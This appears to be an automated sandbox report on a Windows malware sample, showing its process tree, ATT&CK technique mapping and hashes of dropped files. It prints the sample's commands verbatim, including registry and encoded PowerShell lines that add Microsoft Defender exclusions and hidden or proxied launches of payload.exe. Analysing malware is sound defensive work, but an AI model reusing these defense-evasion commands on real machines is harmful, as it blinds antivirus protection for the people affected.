    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:6308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:1888
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34" /t REG_DWORD /d 0 /f
    3⤵
    PID:6436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp" /t REG_DWORD /d 0 /f"
  2⤵
  PID:4660
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:6428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp" /t REG_DWORD /d 0 /f"
  2⤵
  PID:5248
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp" /t REG_DWORD /d 0 /f
    3⤵
    PID:6452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:3460
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:6348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  - Executes a command shell one-liner
  PID:5756
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:6444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:6044
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:6204
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f"
  2⤵
  PID:1404
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:6412
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:4552
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1788
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    - Windows security bypass
    PID:6528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f"
  2⤵
  PID:6012
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "payload.exe" /t REG_DWORD /d 0 /f
    3⤵
    PID:6340
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFAAcgBvAGcAcgBhAG0AcwBcAGkAbgBzAHQAYQBsAGwAZQByAFwASQBuAHMAdABhAGwAbABlAHIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUgB1AG4AdABpAG0AZQBcAHQAZQBtAHAAXABtAHQAMwB3AGIAbAA3AG4AMgBmADMANAAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUgB1AG4AdABpAG0AZQBcAHQAZQBtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFIAdQBuAHQAaQBtAGUAXAB0AGUAbQBwAFwAbQB0ADMAdwBiAGwANwBuADIAZgAzADQAXABwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAHQAbQBwACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAcABhAHkAbABvAGEAZAAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
  2⤵
  - Executes a command shell one-liner
  PID:4520
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFAAcgBvAGcAcgBhAG0AcwBcAGkAbgBzAHQAYQBsAGwAZQByAFwASQBuAHMAdABhAGwAbABlAHIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUgB1AG4AdABpAG0AZQBcAHQAZQBtAHAAXABtAHQAMwB3AGIAbAA3AG4AMgBmADMANAAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUgB1AG4AdABpAG0AZQBcAHQAZQBtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFIAdQBuAHQAaQBtAGUAXAB0AGUAbQBwAFwAbQB0ADMAdwBiAGwANwBuADIAZgAzADQAXABwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAHQAbQBwACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAcABhAHkAbABvAGEAZAAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
    3⤵
    PID:6324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe'""
  2⤵
  PID:6280
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4840
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe""
  2⤵
  PID:6760
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Programs\installer\Installer.exe"
    3⤵
    PID:6776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34'""
  2⤵
  PID:6828
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5788
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34""
  2⤵
  - Executes a command shell one-liner
  PID:6796
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34"
    3⤵
    PID:6476
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp'""
  2⤵
  PID:6208
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6340
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp""
  2⤵
  PID:1616
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp"
    3⤵
    PID:6348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe'""
  2⤵
  PID:6520
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:6556
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe""
  2⤵
  - Executes a command shell one-liner
  PID:1196
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe"
    3⤵
    PID:6292
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe' -ErrorAction SilentlyContinue""
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Hide Artifacts: Hidden Window
  - Hide Artifacts: Ignore Process Interrupts
  PID:6608
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5628
- C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe
  C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe
  2⤵
  PID:1436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe""
  2⤵
  - Executes a command shell one-liner
  PID:1860
- - C:\Windows\system32\cmd.exe
    cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe"
    3⤵
    PID:5036
  - - C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe"
      4⤵
      PID:2076
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "explorer.exe "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe""
  2⤵
  PID:6256
- - C:\Windows\explorer.exe
    explorer.exe "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe"
    3⤵
    PID:3472
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe""
  2⤵
  - System Binary Proxy Execution: Rundll32
  PID:7124
- - C:\Windows\system32\rundll32.exe
    rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe"
    3⤵
    - System Binary Proxy Execution: Rundll32
    PID:7140
  - - C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe"
      4⤵
      PID:6500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe' -WindowStyle Hidden""
  2⤵
  - Hide Artifacts: Hidden Window
  PID:4056
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:7064
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe' -WindowStyle Hidden"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:7108
  - - C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe"
      4⤵
      PID:5864
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\dllhost_c40e1d.vbs""
  2⤵
  PID:6652
- - C:\Windows\system32\wscript.exe
    wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\dllhost_c40e1d.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:812
  - - C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe"
      4⤵
      PID:4040

C:\Windows\System32\Notepad.exe
"C:\Windows\System32\Notepad.exe" C:\Users\Admin\AppData\Local\Programs\installer\resources\app\main.js
1⤵
- Opens file in notepad (likely ransom note)
PID:6592

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:5356
- C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe
  "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbf6o8778\payload.exe"
  2⤵
  PID:6164

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:6316
- C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe
  "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbhnn7987\payload.exe"
  2⤵
  PID:6236

C:\Users\Admin\Desktop\ф\Setup.exe
"C:\Users\Admin\Desktop\ф\Setup.exe"
1⤵
PID:6708
- C:\Users\Admin\Desktop\ф\Setup.exe
  C:\Users\Admin\Desktop\ф\Setup.exe
  2⤵
  PID:6176

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
PID:6776
- C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe
  "C:\Users\Admin\AppData\Local\Temp\Runtime\temp\mt3wbl7n2f34\payload.exe"
  2⤵
  PID:2516

C:\Users\Admin\Desktop\ф\Setup.exe
"C:\Users\Admin\Desktop\ф\Setup.exe"
1⤵
PID:6772
- C:\Users\Admin\Desktop\ф\Setup.exe
  C:\Users\Admin\Desktop\ф\Setup.exe
  2⤵
  PID:6736

C:\Users\Admin\Desktop\ф\Setup.exe
"C:\Users\Admin\Desktop\ф\Setup.exe"
1⤵
PID:5800

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Hidden Window

T1564.003

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

System Binary Proxy Execution

T1218

Rundll32

T1218.011

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

CrashpadMetrics-active.pma

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma
Size 16KB
SHA256 fde3b41a5711362d7f3df7d71563d5eb6cc679bae7f80f74afcdf81dbc09eafd
MD5 3406d3b708dcef0116bffd8eaa181ad4
SHA1 3df64b48bff2b9d4160d900e91a7670046a24340
SHA512 d22d05c221bd19bc3b07e9a5ed722fbf8fbf75d695302fe8ec441d6d1e653bd63b3751a9608b344cc859feb79c5869aaeedd08bf846dc01a522b3a0dbb1637d9
SSDEEP 12:sUXhV0xosU8xCe+JKlkQuMRxCb8ZXfgYJ0IJpP0KLsyW1L7Fx6:fRqxosU8xWMk8xVZ4YWI30otWn
TLSH
T18F727886B34494FFC8C35A7189BE27902374F6DE5F02836B6A3A7A0E2E271C44F44220
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 083d78ea5ea69126b24164f2e05fc467ce21fdcdf2ec67f8e94c4366a1284886
MD5 da79f81681859af2b76762aa37a5f73e
SHA1 53d69c959eb46848bc7ed7b5c480df864295389e
SHA512 f647681c342e36fa2f41fb9d54d089303f98b802703a42609226ef5755aafc91ef00af41a82f980c0f2819709322c59ef6cd1c18725ef5133691894902fc44c1
TLSH
T1FCD09B7077CDAC11D5450471D45547535D96CA4C24D7DB076011801D68557D9B35E067
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 4a302129b10cf3ac8d6fd58a3a115f3f386534b351087f5a1cace69357f97312
MD5 77728a4729b6fd40e598dd660abe576a
SHA1 68496608431a924a2d7c2121e8150e4f311e8140
SHA512 f142cd9419f9f0c16da905686ab4285a9458d6c66c5b6488e9a2585b7c19e4585467885a2c2b0f98da0edcf3314d34c539118044e770f5666f21a0196dfc6daa
TLSH
T1D6D02330A9DCFCE0E0360438813103027DCD8A893483A307B000441E4C753C373D94B3
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 965e5ede1dd95e7182bc6ed8b645e4796c53616af10fe7a02b411984e0f5fca1
MD5 252c38f22d645a5fc39fa9f1fdd92b34
SHA1 70c6079cc3ffdcb0efb6f56834b64311e1e951bc
SHA512 e23e1b164567d933593229d39744ddacb3330f715193f293c7aee9a5a95fc433809933ab830a7a1c5cdf37824965c32650c227083092c2a6488a2ab768744ad1
TLSH
T110D09B7077CDAC11D9450471D45547535D96CA4C24D7DB076011801D58567D9B35E067
MD5 SHA1 SHA512 TLSH

Submit Download

f_000093

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data\f_000093
Size 314KB
SHA256 5531b4f65aea46c3467d880311dadffba0b7efe934ff843062f9503120144eab
MD5 6331805cbfe411211a245836458813eb
SHA1 5f5055ae8b85c421a64894111b344b7a46348e75
SHA512 9fc009328b00c6cb80f2f1dded578e28555a58663472f8731145da11249e3644eb1c3d83bf06bf117876cfc44e2d5e7a502ce62e09932b1b420e6f5ea9eae484
SSDEEP 6144:xI38wt73gvGZYrssCEyEGvztOvgn6EEnkNBr7Uiv5k5Vt9Ac:xIMq3gvJYJECLtOYsKkiv5a3+c
TLSH
T1716423EA77C514580E5772386F9103636AEACADF681E613DFE44CEC256C5CCB24B11B2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 207ec1313bceca326abc849f7d791cde546f43c951ef468b0664ff89c7b10cbb
MD5 0776823079318f99df677618da2bb39a
SHA1 a74fbb90f78292d543b24f6d6de9865b9e2830d8
SHA512 5ed1816ae535a865e1c2861de94f0d45696c24ab728e13ea6295f1b5cafedd9582d5447aef7421993c4c5af8728893a8de5c9e6d27ee38a01be7adee5c9b431d
TLSH
T14D716E781112085DF750253E41D24671747781B90AEFFEE705C4F7B9A8F3B25B529838
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 4KB
SHA256 eb0af98dc75201bb143183778c40c73428f9d928eb2d5fa05c0b4900b3de1668
MD5 02ce2df5678e88e0caafff15d73b87a4
SHA1 26c66be2b6615d67a3d57d998c0698856e45d5c8
SHA512 a7a4b5a001fb45fea9d2f73151679384fbef01bca1916853c33025579632d5df4dc6e71a7a5753184f0c4bb65f3ad59f74e0debb3c89987806c7ca91bc551c22
